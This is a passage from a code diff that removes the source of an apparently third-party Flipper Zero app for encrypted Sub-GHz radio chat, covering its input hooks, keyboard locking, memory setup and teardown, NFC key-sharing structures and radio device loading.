furi_string_set(state->msg_input, state->name_prefix);
|
||||
furi_string_cat_str(state->msg_input, " left chat.");
|
||||
|
||||
/* encrypt and transmit message */
|
||||
tx_msg_input(state);
|
||||
|
||||
/* clear message input buffer */
|
||||
furi_string_set_char(state->msg_input, 0, 0);
|
||||
|
||||
/* wait for leave message to be delivered */
|
||||
furi_delay_ms(CHAT_LEAVE_DELAY);
|
||||
}
|
||||
|
||||
/* Whether or not to display the locked message. */
|
||||
static bool kbd_lock_msg_display(ESubGhzChatState* state) {
|
||||
return (state->kbd_lock_msg_ticks != 0);
|
||||
}
|
||||
|
||||
/* Whether or not to hide the locked message again. */
|
||||
static bool kbd_lock_msg_reset_timeout(ESubGhzChatState* state) {
|
||||
if(state->kbd_lock_msg_ticks == 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if(furi_get_tick() - state->kbd_lock_msg_ticks > KBD_UNLOCK_TIMEOUT) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Resets the timeout for the locked message and turns off the backlight if
|
||||
* specified. */
|
||||
static void kbd_lock_msg_reset(ESubGhzChatState* state, bool backlight_off) {
|
||||
state->kbd_lock_msg_ticks = 0;
|
||||
state->kbd_lock_count = 0;
|
||||
|
||||
if(backlight_off) {
|
||||
notification_message(state->notification, &sequence_display_backlight_off);
|
||||
}
|
||||
}
|
||||
|
||||
/* Locks the keyboard. */
|
||||
static void kbd_lock(ESubGhzChatState* state) {
|
||||
state->kbd_locked = true;
|
||||
kbd_lock_msg_reset(state, true);
|
||||
}
|
||||
|
||||
/* Unlocks the keyboard. */
|
||||
static void kbd_unlock(ESubGhzChatState* state) {
|
||||
state->kbd_locked = false;
|
||||
kbd_lock_msg_reset(state, false);
|
||||
}
|
||||
|
||||
/* Custom event callback for view dispatcher. Just calls scene manager. */
|
||||
static bool esubghz_chat_custom_event_callback(void* context, uint32_t event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_custom_event_callback");
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
return scene_manager_handle_custom_event(state->scene_manager, event);
|
||||
}
|
||||
|
||||
/* Navigation event callback for view dispatcher. Just calls scene manager. */
|
||||
static bool esubghz_chat_navigation_event_callback(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_navigation_event_callback");
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
return scene_manager_handle_back_event(state->scene_manager);
|
||||
}
|
||||
|
||||
/* Tick event callback for view dispatcher. Called every TICK_INTERVAL. Resets
|
||||
* the locked message if necessary. Retrieves a received message from the
|
||||
* Sub-GHz worker and calls post_rx(). Then calls the scene manager. */
|
||||
static void esubghz_chat_tick_event_callback(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_tick_event_callback");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
/* reset locked message if necessary */
|
||||
if(kbd_lock_msg_reset_timeout(state)) {
|
||||
kbd_lock_msg_reset(state, true);
|
||||
}
|
||||
|
||||
/* if the maximum message size was reached or the
|
||||
* MESSAGE_COMPLETION_TIMEOUT has expired, retrieve a message and call
|
||||
* post_rx() */
|
||||
size_t avail = 0;
|
||||
while((avail = subghz_tx_rx_worker_available(state->subghz_worker)) > 0) {
|
||||
volatile uint32_t since_last_rx = furi_get_tick() - state->last_time_rx_data;
|
||||
if(avail < RX_TX_BUFFER_SIZE && since_last_rx < MESSAGE_COMPLETION_TIMEOUT) {
|
||||
break;
|
||||
}
|
||||
|
||||
size_t rx_size =
|
||||
subghz_tx_rx_worker_read(state->subghz_worker, state->rx_buffer, RX_TX_BUFFER_SIZE);
|
||||
post_rx(state, rx_size);
|
||||
}
|
||||
|
||||
/* call scene manager */
|
||||
scene_manager_handle_tick_event(state->scene_manager);
|
||||
}
|
||||
|
||||
/* Hooks into the view port's draw callback to overlay the keyboard locked
|
||||
* message. */
|
||||
static void esubghz_hooked_draw_callback(Canvas* canvas, void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_draw_callback");
|
||||
|
||||
furi_assert(canvas);
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
/* call original callback */
|
||||
state->orig_draw_cb(canvas, state->view_dispatcher);
|
||||
|
||||
/* display if the keyboard is locked */
|
||||
if(state->kbd_locked) {
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
elements_multiline_text_framed(canvas, 42, 30, "Locked");
|
||||
}
|
||||
|
||||
/* display the unlock message if necessary */
|
||||
if(kbd_lock_msg_display(state)) {
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
|
||||
elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
|
||||
canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
|
||||
canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
|
||||
canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
|
||||
canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
|
||||
}
|
||||
}
|
||||
|
||||
/* Hooks into the view port's input callback to handle the user locking the
|
||||
* keyboard. */
|
||||
static void esubghz_hooked_input_callback(InputEvent* event, void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_input_callback");
|
||||
|
||||
furi_assert(event);
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
/* if the keyboard is locked no key presses are forwarded */
|
||||
if(state->kbd_locked) {
|
||||
/* key has been pressed, display the unlock message and
|
||||
* initiate the timer */
|
||||
if(state->kbd_lock_count == 0) {
|
||||
state->kbd_lock_msg_ticks = furi_get_tick();
|
||||
}
|
||||
|
||||
/* back button has been pressed, increase the lock counter */
|
||||
if(event->key == InputKeyBack && event->type == InputTypeShort) {
|
||||
state->kbd_lock_count++;
|
||||
}
|
||||
|
||||
/* unlock the keyboard */
|
||||
if(state->kbd_lock_count >= KBD_UNLOCK_CNT) {
|
||||
kbd_unlock(state);
|
||||
}
|
||||
|
||||
/* do not handle the event */
|
||||
return;
|
||||
}
|
||||
|
||||
if(event->key == InputKeyOk) {
|
||||
/* if we are in the chat view and no input is ongoing, allow
|
||||
* locking */
|
||||
if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
|
||||
!(state->kbd_ok_input_ongoing)) {
|
||||
/* lock keyboard upon long press of Ok button */
|
||||
if(event->type == InputTypeLong) {
|
||||
kbd_lock(state);
|
||||
}
|
||||
|
||||
/* do not handle any Ok key events to prevent blocking
|
||||
* of other keys */
|
||||
return;
|
||||
}
|
||||
|
||||
/* handle ongoing inputs when changing to chat view */
|
||||
if(event->type == InputTypePress) {
|
||||
state->kbd_ok_input_ongoing = true;
|
||||
} else if(event->type == InputTypeRelease) {
|
||||
state->kbd_ok_input_ongoing = false;
|
||||
}
|
||||
}
|
||||
|
||||
if(event->key == InputKeyLeft) {
|
||||
/* if we are in the chat view and no input is ongoing, allow
|
||||
* switching to msg input */
|
||||
if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
|
||||
!(state->kbd_left_input_ongoing)) {
|
||||
/* go to msg input upon short press of Left button */
|
||||
if(event->type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(
|
||||
state->view_dispatcher, ESubGhzChatEvent_GotoMsgInput);
|
||||
}
|
||||
|
||||
/* do not handle any Left key events to prevent
|
||||
* blocking of other keys */
|
||||
return;
|
||||
}
|
||||
|
||||
/* handle ongoing inputs when changing to chat view */
|
||||
if(event->type == InputTypePress) {
|
||||
state->kbd_left_input_ongoing = true;
|
||||
} else if(event->type == InputTypeRelease) {
|
||||
state->kbd_left_input_ongoing = false;
|
||||
}
|
||||
}
|
||||
|
||||
if(event->key == InputKeyRight) {
|
||||
/* if we are in the chat view and no input is ongoing, allow
|
||||
* switching to key display */
|
||||
if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
|
||||
!(state->kbd_right_input_ongoing)) {
|
||||
/* go to key display upon short press of Right button
|
||||
*/
|
||||
if(event->type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(
|
||||
state->view_dispatcher, ESubGhzChatEvent_GotoKeyDisplay);
|
||||
}
|
||||
|
||||
/* do not handle any Right key events to prevent
|
||||
* blocking of other keys */
|
||||
return;
|
||||
}
|
||||
|
||||
/* handle ongoing inputs when changing to chat view */
|
||||
if(event->type == InputTypePress) {
|
||||
state->kbd_right_input_ongoing = true;
|
||||
} else if(event->type == InputTypeRelease) {
|
||||
state->kbd_right_input_ongoing = false;
|
||||
}
|
||||
}
|
||||
|
||||
/* call original callback */
|
||||
state->orig_input_cb(event, state->view_dispatcher);
|
||||
}
|
||||
|
||||
static bool helper_strings_alloc(ESubGhzChatState* state) {
|
||||
furi_assert(state);
|
||||
|
||||
state->name_prefix = furi_string_alloc();
|
||||
if(state->name_prefix == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
state->msg_input = furi_string_alloc();
|
||||
if(state->msg_input == NULL) {
|
||||
furi_string_free(state->name_prefix);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void helper_strings_free(ESubGhzChatState* state) {
|
||||
furi_assert(state);
|
||||
|
||||
furi_string_free(state->name_prefix);
|
||||
furi_string_free(state->msg_input);
|
||||
}
|
||||
|
||||
static bool chat_box_alloc(ESubGhzChatState* state) {
|
||||
furi_assert(state);
|
||||
|
||||
state->chat_box = text_box_alloc();
|
||||
if(state->chat_box == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
state->chat_box_store = furi_string_alloc();
|
||||
if(state->chat_box_store == NULL) {
|
||||
text_box_free(state->chat_box);
|
||||
return false;
|
||||
}
|
||||
|
||||
furi_string_reserve(state->chat_box_store, CHAT_BOX_STORE_SIZE);
|
||||
furi_string_set_char(state->chat_box_store, 0, 0);
|
||||
text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
|
||||
text_box_set_focus(state->chat_box, TextBoxFocusEnd);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void chat_box_free(ESubGhzChatState* state) {
|
||||
furi_assert(state);
|
||||
|
||||
text_box_free(state->chat_box);
|
||||
furi_string_free(state->chat_box_store);
|
||||
}
|
||||
|
||||
int32_t esubghz_chat(void) {
|
||||
/* init the crypto system */
|
||||
crypto_init();
|
||||
|
||||
int32_t err = -1;
|
||||
|
||||
FURI_LOG_I(APPLICATION_NAME, "Starting...");
|
||||
|
||||
/* allocate necessary structs and buffers */
|
||||
|
||||
ESubGhzChatState* state = malloc(sizeof(ESubGhzChatState));
|
||||
if(state == NULL) {
|
||||
goto err_alloc;
|
||||
}
|
||||
memset(state, 0, sizeof(*state));
|
||||
|
||||
state->scene_manager = scene_manager_alloc(&esubghz_chat_scene_event_handlers, state);
|
||||
if(state->scene_manager == NULL) {
|
||||
goto err_alloc_sm;
|
||||
}
|
||||
|
||||
state->view_dispatcher = view_dispatcher_alloc();
|
||||
if(state->view_dispatcher == NULL) {
|
||||
goto err_alloc_vd;
|
||||
}
|
||||
|
||||
if(!helper_strings_alloc(state)) {
|
||||
goto err_alloc_hs;
|
||||
}
|
||||
|
||||
state->menu = menu_alloc();
|
||||
if(state->menu == NULL) {
|
||||
goto err_alloc_menu;
|
||||
}
|
||||
|
||||
state->text_input = text_input_alloc();
|
||||
if(state->text_input == NULL) {
|
||||
goto err_alloc_ti;
|
||||
}
|
||||
|
||||
state->hex_key_input = byte_input_alloc();
|
||||
if(state->hex_key_input == NULL) {
|
||||
goto err_alloc_hki;
|
||||
}
|
||||
|
||||
if(!chat_box_alloc(state)) {
|
||||
goto err_alloc_cb;
|
||||
}
|
||||
|
||||
state->key_display = dialog_ex_alloc();
|
||||
if(state->key_display == NULL) {
|
||||
goto err_alloc_kd;
|
||||
}
|
||||
|
||||
state->nfc_popup = popup_alloc();
|
||||
if(state->nfc_popup == NULL) {
|
||||
goto err_alloc_np;
|
||||
}
|
||||
|
||||
state->subghz_worker = subghz_tx_rx_worker_alloc();
|
||||
if(state->subghz_worker == NULL) {
|
||||
goto err_alloc_worker;
|
||||
}
|
||||
|
||||
state->nfc_worker = nfc_worker_alloc();
|
||||
if(state->nfc_worker == NULL) {
|
||||
goto err_alloc_nworker;
|
||||
}
|
||||
|
||||
state->nfc_dev_data = malloc(sizeof(NfcDeviceData));
|
||||
if(state->nfc_dev_data == NULL) {
|
||||
goto err_alloc_ndevdata;
|
||||
}
|
||||
memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
|
||||
|
||||
state->crypto_ctx = crypto_ctx_alloc();
|
||||
if(state->crypto_ctx == NULL) {
|
||||
goto err_alloc_crypto;
|
||||
}
|
||||
|
||||
/* set the default frequency */
|
||||
state->frequency = DEFAULT_FREQ;
|
||||
|
||||
/* set the have_read callback of the Sub-GHz worker */
|
||||
subghz_tx_rx_worker_set_callback_have_read(state->subghz_worker, have_read_cb, state);
|
||||
|
||||
/* enter suppress charge mode */
|
||||
furi_hal_power_suppress_charge_enter();
|
||||
|
||||
/* init internal device */
|
||||
subghz_devices_init();
|
||||
|
||||
state->subghz_device =
|
||||
radio_device_loader_set(state->subghz_device, SubGhzRadioDeviceTypeExternalCC1101);
|
||||
|
||||
subghz_devices_reset(state->subghz_device);
|
||||
subghz_devices_idle(state->subghz_device);
|
||||
|
||||
/* set chat name prefix */
|
||||
furi_string_printf(state->name_prefix, "%s", furi_hal_version_get_name_ptr());
|
||||
|
||||
/* get notification record, we use this to make the flipper vibrate */
|
||||
/* no error handling here, don't know how */
|
||||
state->notification = furi_record_open(RECORD_NOTIFICATION);
|
||||
|
||||
/* hook into the view port's draw and input callbacks */
|
||||
state->orig_draw_cb = state->view_dispatcher->view_port->draw_callback;
|
||||
state->orig_input_cb = state->view_dispatcher->view_port->input_callback;
|
||||
view_port_draw_callback_set(
|
||||
state->view_dispatcher->view_port, esubghz_hooked_draw_callback, state);
|
||||
view_port_input_callback_set(
|
||||
state->view_dispatcher->view_port, esubghz_hooked_input_callback, state);
|
||||
|
||||
view_dispatcher_enable_queue(state->view_dispatcher);
|
||||
|
||||
/* set callbacks for view dispatcher */
|
||||
view_dispatcher_set_event_callback_context(state->view_dispatcher, state);
|
||||
view_dispatcher_set_custom_event_callback(
|
||||
state->view_dispatcher, esubghz_chat_custom_event_callback);
|
||||
view_dispatcher_set_navigation_event_callback(
|
||||
state->view_dispatcher, esubghz_chat_navigation_event_callback);
|
||||
view_dispatcher_set_tick_event_callback(
|
||||
state->view_dispatcher, esubghz_chat_tick_event_callback, TICK_INTERVAL);
|
||||
|
||||
/* add our two views to the view dispatcher */
|
||||
view_dispatcher_add_view(
|
||||
state->view_dispatcher, ESubGhzChatView_Menu, menu_get_view(state->menu));
|
||||
view_dispatcher_add_view(
|
||||
state->view_dispatcher, ESubGhzChatView_Input, text_input_get_view(state->text_input));
|
||||
view_dispatcher_add_view(
|
||||
state->view_dispatcher,
|
||||
ESubGhzChatView_HexKeyInput,
|
||||
byte_input_get_view(state->hex_key_input));
|
||||
view_dispatcher_add_view(
|
||||
state->view_dispatcher, ESubGhzChatView_ChatBox, text_box_get_view(state->chat_box));
|
||||
view_dispatcher_add_view(
|
||||
state->view_dispatcher,
|
||||
ESubGhzChatView_KeyDisplay,
|
||||
dialog_ex_get_view(state->key_display));
|
||||
view_dispatcher_add_view(
|
||||
state->view_dispatcher, ESubGhzChatView_NfcPopup, popup_get_view(state->nfc_popup));
|
||||
|
||||
/* get the GUI record and attach the view dispatcher to the GUI */
|
||||
/* no error handling here, don't know how */
|
||||
Gui* gui = furi_record_open(RECORD_GUI);
|
||||
view_dispatcher_attach_to_gui(state->view_dispatcher, gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
/* switch to the key menu scene */
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyMenu);
|
||||
|
||||
/* run the view dispatcher, this call only returns when we close the
|
||||
* application */
|
||||
view_dispatcher_run(state->view_dispatcher);
|
||||
|
||||
/* if it is running, stop the Sub-GHz worker */
|
||||
if(subghz_tx_rx_worker_is_running(state->subghz_worker)) {
|
||||
exit_chat(state);
|
||||
subghz_tx_rx_worker_stop(state->subghz_worker);
|
||||
}
|
||||
|
||||
/* if it is running, stop the NFC worker */
|
||||
nfc_worker_stop(state->nfc_worker);
|
||||
|
||||
err = 0;
|
||||
|
||||
/* close GUI record */
|
||||
furi_record_close(RECORD_GUI);
|
||||
|
||||
/* remove our two views from the view dispatcher */
|
||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Menu);
|
||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Input);
|
||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput);
|
||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_ChatBox);
|
||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay);
|
||||
view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
|
||||
|
||||
/* close notification record */
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
|
||||
/* clear the key and potential password */
|
||||
crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
|
||||
crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store));
|
||||
crypto_explicit_bzero(state->key_hex_str, sizeof(state->key_hex_str));
|
||||
crypto_ctx_clear(state->crypto_ctx);
|
||||
|
||||
/* clear nfc data */
|
||||
if(state->nfc_dev_data->parsed_data != NULL) {
|
||||
furi_string_free(state->nfc_dev_data->parsed_data);
|
||||
}
|
||||
crypto_explicit_bzero(state->nfc_dev_data, sizeof(NfcDeviceData));
|
||||
|
||||
/* deinit devices */
|
||||
radio_device_loader_end(state->subghz_device);
|
||||
|
||||
subghz_devices_deinit();
|
||||
|
||||
/* exit suppress charge mode */
|
||||
furi_hal_power_suppress_charge_exit();
|
||||
|
||||
/* free everything we allocated */
|
||||
|
||||
crypto_ctx_free(state->crypto_ctx);
|
||||
|
||||
err_alloc_crypto:
|
||||
free(state->nfc_dev_data);
|
||||
|
||||
err_alloc_ndevdata:
|
||||
nfc_worker_free(state->nfc_worker);
|
||||
|
||||
err_alloc_nworker:
|
||||
subghz_tx_rx_worker_free(state->subghz_worker);
|
||||
|
||||
err_alloc_worker:
|
||||
popup_free(state->nfc_popup);
|
||||
|
||||
err_alloc_np:
|
||||
dialog_ex_free(state->key_display);
|
||||
|
||||
err_alloc_kd:
|
||||
chat_box_free(state);
|
||||
|
||||
err_alloc_cb:
|
||||
byte_input_free(state->hex_key_input);
|
||||
|
||||
err_alloc_hki:
|
||||
text_input_free(state->text_input);
|
||||
|
||||
err_alloc_ti:
|
||||
menu_free(state->menu);
|
||||
|
||||
err_alloc_menu:
|
||||
helper_strings_free(state);
|
||||
|
||||
err_alloc_hs:
|
||||
view_dispatcher_free(state->view_dispatcher);
|
||||
|
||||
err_alloc_vd:
|
||||
scene_manager_free(state->scene_manager);
|
||||
|
||||
err_alloc_sm:
|
||||
free(state);
|
||||
|
||||
err_alloc:
|
||||
if(err != 0) {
|
||||
FURI_LOG_E(APPLICATION_NAME, "Failed to launch (alloc error)!");
|
||||
} else {
|
||||
FURI_LOG_I(APPLICATION_NAME, "Clean exit.");
|
||||
}
|
||||
|
||||
return err;
|
||||
}
|
||||
124
applications/external/esubghz_chat/esubghz_chat_i.h
vendored
@@ -1,124 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <gui/view_dispatcher_i.h>
|
||||
#include <gui/view_port_i.h>
|
||||
#include <gui/scene_manager.h>
|
||||
#include <gui/modules/byte_input.h>
|
||||
#include <gui/modules/dialog_ex.h>
|
||||
#include <gui/modules/menu.h>
|
||||
#include <gui/modules/popup.h>
|
||||
#include <gui/modules/text_box.h>
|
||||
#include <gui/modules/text_input.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include <lib/nfc/nfc_worker.h>
|
||||
#include <lib/subghz/subghz_tx_rx_worker.h>
|
||||
#include <toolbox/sha256.h>
|
||||
|
||||
#include "crypto_wrapper.h"
|
||||
#include "scenes/esubghz_chat_scene.h"
|
||||
|
||||
#include "esubghz_chat_icons.h"
|
||||
#include <assets_icons.h>
|
||||
|
||||
#define APPLICATION_NAME "ESubGhzChat"
|
||||
|
||||
#define DEFAULT_FREQ 433920000
|
||||
|
||||
#define KEY_READ_POPUP_MS 3000
|
||||
|
||||
#define RX_TX_BUFFER_SIZE 1024
|
||||
|
||||
#define CHAT_BOX_STORE_SIZE 4096
|
||||
#define TEXT_INPUT_STORE_SIZE 256
|
||||
#define MSG_PREVIEW_SIZE 32
|
||||
|
||||
#define KEY_HEX_STR_SIZE ((KEY_BITS / 8) * 3)
|
||||
|
||||
typedef struct {
|
||||
SceneManager* scene_manager;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
NotificationApp* notification;
|
||||
|
||||
// UI elements
|
||||
Menu* menu;
|
||||
TextBox* chat_box;
|
||||
FuriString* chat_box_store;
|
||||
TextInput* text_input;
|
||||
char text_input_store[TEXT_INPUT_STORE_SIZE + 1];
|
||||
ByteInput* hex_key_input;
|
||||
uint8_t hex_key_input_store[KEY_BITS / 8];
|
||||
DialogEx* key_display;
|
||||
char key_hex_str[KEY_HEX_STR_SIZE + 1];
|
||||
Popup* nfc_popup;
|
||||
|
||||
// for Sub-GHz
|
||||
uint32_t frequency;
|
||||
SubGhzTxRxWorker* subghz_worker;
|
||||
const SubGhzDevice* subghz_device;
|
||||
|
||||
// for NFC
|
||||
NfcWorker* nfc_worker;
|
||||
NfcDeviceData* nfc_dev_data;
|
||||
|
||||
// message assembly before TX
|
||||
FuriString* name_prefix;
|
||||
FuriString* msg_input;
|
||||
|
||||
// message preview
|
||||
char msg_preview[MSG_PREVIEW_SIZE + 1];
|
||||
|
||||
// encryption
|
||||
bool encrypted;
|
||||
ESubGhzChatCryptoCtx* crypto_ctx;
|
||||
|
||||
// RX and TX buffers
|
||||
uint8_t rx_buffer[RX_TX_BUFFER_SIZE];
|
||||
uint8_t tx_buffer[RX_TX_BUFFER_SIZE];
|
||||
char rx_str_buffer[RX_TX_BUFFER_SIZE + 1];
|
||||
volatile uint32_t last_time_rx_data;
|
||||
|
||||
// for locking
|
||||
ViewPortDrawCallback orig_draw_cb;
|
||||
ViewPortInputCallback orig_input_cb;
|
||||
bool kbd_locked;
|
||||
uint32_t kbd_lock_msg_ticks;
|
||||
uint8_t kbd_lock_count;
|
||||
|
||||
// for ongoing inputs
|
||||
bool kbd_ok_input_ongoing;
|
||||
bool kbd_left_input_ongoing;
|
||||
bool kbd_right_input_ongoing;
|
||||
} ESubGhzChatState;
|
||||
|
||||
typedef enum {
|
||||
ESubGhzChatEvent_FreqEntered,
|
||||
ESubGhzChatEvent_KeyMenuNoEncryption,
|
||||
ESubGhzChatEvent_KeyMenuPassword,
|
||||
ESubGhzChatEvent_KeyMenuHexKey,
|
||||
ESubGhzChatEvent_KeyMenuGenKey,
|
||||
ESubGhzChatEvent_KeyMenuReadKeyFromNfc,
|
||||
ESubGhzChatEvent_KeyReadPopupFailed,
|
||||
ESubGhzChatEvent_KeyReadPopupSucceeded,
|
||||
ESubGhzChatEvent_PassEntered,
|
||||
ESubGhzChatEvent_HexKeyEntered,
|
||||
ESubGhzChatEvent_MsgEntered,
|
||||
ESubGhzChatEvent_GotoMsgInput,
|
||||
ESubGhzChatEvent_GotoKeyDisplay,
|
||||
ESubGhzChatEvent_KeyDisplayBack,
|
||||
ESubGhzChatEvent_KeyDisplayShare,
|
||||
} ESubGhzChatEvent;
|
||||
|
||||
typedef enum {
|
||||
ESubGhzChatView_Menu,
|
||||
ESubGhzChatView_Input,
|
||||
ESubGhzChatView_HexKeyInput,
|
||||
ESubGhzChatView_ChatBox,
|
||||
ESubGhzChatView_KeyDisplay,
|
||||
ESubGhzChatView_NfcPopup,
|
||||
} ESubGhzChatView;
|
||||
|
||||
void set_chat_input_header(ESubGhzChatState* state);
|
||||
void append_msg(ESubGhzChatState* state, const char* msg);
|
||||
void tx_msg_input(ESubGhzChatState* state);
|
||||
void enter_chat(ESubGhzChatState* state);
|
||||
@@ -1,25 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define NFC_MAX_BYTES 256
|
||||
#define NFC_CONFIG_PAGES 4
|
||||
|
||||
struct FreqNfcEntry {
|
||||
uint32_t frequency;
|
||||
uint32_t unused1;
|
||||
uint32_t unused2;
|
||||
uint32_t unused3;
|
||||
} __attribute__((packed));
|
||||
|
||||
struct ReplayDictNfcEntry {
|
||||
uint64_t run_id;
|
||||
uint32_t counter;
|
||||
uint32_t unused;
|
||||
} __attribute__((packed));
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -1,65 +0,0 @@
|
||||
#include "radio_device_loader.h"
|
||||
|
||||
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
|
||||
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
|
||||
|
||||
static void radio_device_loader_power_on() {
|
||||
uint8_t attempts = 0;
|
||||
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
|
||||
furi_hal_power_enable_otg();
|
||||
//CC1101 power-up time
|
||||
furi_delay_ms(10);
|
||||
}
|
||||
}
|
||||
|
||||
static void radio_device_loader_power_off() {
|
||||
if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg();
|
||||
}
|
||||
|
||||
bool radio_device_loader_is_connect_external(const char* name) {
|
||||
bool is_connect = false;
|
||||
bool is_otg_enabled = furi_hal_power_is_otg_enabled();
|
||||
|
||||
if(!is_otg_enabled) {
|
||||
radio_device_loader_power_on();
|
||||
}
|
||||
|
||||
const SubGhzDevice* device = subghz_devices_get_by_name(name);
|
||||
if(device) {
|
||||
is_connect = subghz_devices_is_connect(device);
|
||||
}
|
||||
|
||||
if(!is_otg_enabled) {
|
||||
radio_device_loader_power_off();
|
||||
}
|
||||
return is_connect;
|
||||
}
|
||||
|
||||
const SubGhzDevice* radio_device_loader_set(
|
||||
const SubGhzDevice* current_radio_device,
|
||||
SubGhzRadioDeviceType radio_device_type) {
|
||||
const SubGhzDevice* radio_device;
|
||||
|
||||
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 &&
|
||||
radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
|
||||
radio_device_loader_power_on();
|
||||
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME);
|
||||
subghz_devices_begin(radio_device);
|
||||
} else if(current_radio_device == NULL) {
|
||||
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
|
||||
} else {
|
||||
radio_device_loader_end(current_radio_device);
|
||||
radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
|
||||
}
|
||||
|
||||
return radio_device;
|
||||
}
|
||||
|
||||
void radio_device_loader_end(const SubGhzDevice* radio_device) {
|
||||
furi_assert(radio_device);
|
||||
radio_device_loader_power_off();
|
||||
// Code below is not used (and will cause crash) since its called from tx_rx worker end!
|
||||
//if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) {
|
||||
// subghz_devices_end(radio_device);
|
||||
//}
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <lib/subghz/devices/devices.h>
|
||||
|
||||
/** SubGhzRadioDeviceType */
|
||||
typedef enum {
|
||||
SubGhzRadioDeviceTypeInternal,
|
||||
SubGhzRadioDeviceTypeExternalCC1101,
|
||||
} SubGhzRadioDeviceType;
|
||||
|
||||
const SubGhzDevice* radio_device_loader_set(
|
||||
const SubGhzDevice* current_radio_device,
|
||||
SubGhzRadioDeviceType radio_device_type);
|
||||
|
||||
void radio_device_loader_end(const SubGhzDevice* radio_device);
|
||||
@@ -1,59 +0,0 @@
|
||||
#include "../esubghz_chat_i.h"
|
||||
|
||||
/* Prepares the text box scene. */
|
||||
void scene_on_enter_chat_box(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_box");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
text_box_reset(state->chat_box);
|
||||
text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
|
||||
text_box_set_focus(state->chat_box, TextBoxFocusEnd);
|
||||
|
||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_ChatBox);
|
||||
}
|
||||
|
||||
/* Handles scene manager events for the text box scene. */
|
||||
bool scene_on_event_chat_box(void* context, SceneManagerEvent event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_box");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
bool consumed = false;
|
||||
|
||||
switch(event.type) {
|
||||
case SceneManagerEventTypeCustom:
|
||||
switch(event.event) {
|
||||
/* switch to message input scene */
|
||||
case ESubGhzChatEvent_GotoMsgInput:
|
||||
if(!scene_manager_previous_scene(state->scene_manager)) {
|
||||
view_dispatcher_stop(state->view_dispatcher);
|
||||
}
|
||||
consumed = true;
|
||||
break;
|
||||
case ESubGhzChatEvent_GotoKeyDisplay:
|
||||
